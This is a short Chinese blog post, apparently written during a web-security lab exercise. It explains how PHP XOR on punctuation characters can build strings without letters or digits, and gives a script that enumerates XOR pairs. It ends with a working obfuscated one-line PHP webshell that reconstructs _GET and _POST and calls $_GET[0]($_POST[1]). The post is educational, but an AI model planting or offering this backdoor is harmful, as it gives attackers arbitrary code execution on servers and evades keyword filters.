本文最后更新于:2019 , 八月 19日 星期一, 4:58 下午

简介

今天在一个在线靶场上做题,发现了一个没有数字和字母组成的一句话!
很好奇,也看不懂,就去求助了某世。。。
转来转去一个钟后,emm,终于看懂了


Code

echo '`' ^ `?`; // 输出:_

可以看到,输出的结果是字符:_

之所以会得到这样的结果,是对字符进行了异或运算

Ps:在PHP中,两个变量进行异或时,会进行如下操作

字符 >> ASCII码 >> 二进制 >> 异或 >> 二进制 >> ASCII码 >> 字符

异或操作有时也被用来交换两个变量的值

什么是异或?

对等长二进制模式按位或二进制的每一位执行逻辑按位异或操作

操作的结果如果某位不同则该位为1,否则为0

1 ^ 0 = >>> 1 
0 ^ 1 = >>> 1

其他情况就是 0

再继续看上面的例子

echo '`' ^ `?`;

`:ASCII码(96),二进制(1100000)

?:ASCII码(63),二进制(111111)

1100000
0111111
--------
1011111

我们可以尝试一些看看是否结果是对的

echo '`ASCII码:'.ord('`').',二进制:'.decbin(ord('`'));
echo '<br />';
echo '?ASCII码:'.ord('?').',二进制:'.decbin(ord('?'));
echo '<br />';
$n = "`" ^ "?";
echo '` ^ ? 结果:'.$n;
echo '<br />';
echo '_ASCII码:'.ord('_').',二进制:'.decbin(ord('_'));

PHP是弱类型语言,也就是说PHP中我们可以不预先声明变量的类型,而直接声明一个变量并进行初始化或赋值操作

利用这一特点:将整形转字符串,布尔值转整

然而,我们发现这样一样一一比对太麻烦了,我们可以写一个脚本进行输出

$x = ['`','!','@','#','$','%','^','&','*','(',')','_','{','}','?','>','<',';',];
foreach ($x as $k) {
    foreach ($x as $w) {
        $n = $k ^ $w;
        echo $k . "^" . $w . ":" . @hex2bin(dechex(ord($n)));
        echo '<br />';

    }
}

从中,你有目的的选择异或后,你需要的字符,进行排列组合

例如一下的已知一句话后门

@$_++;
$__ = ("`" ^ "?") . (":" ^ "}") . ("%" ^ "`") . ("{" ^ "/"); // _GET
$___ = ("$" ^ "{") . ("~" ^ ".") . ("/" ^ "`") . ("-" ^ "~") . ("(" ^ "|"); // _POST
${$__}[!$_](${$___}[$_]); // $_GET[0]($_POST[1])

Web      webshell

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

突破WIFI黑白名单限制
PrettyTable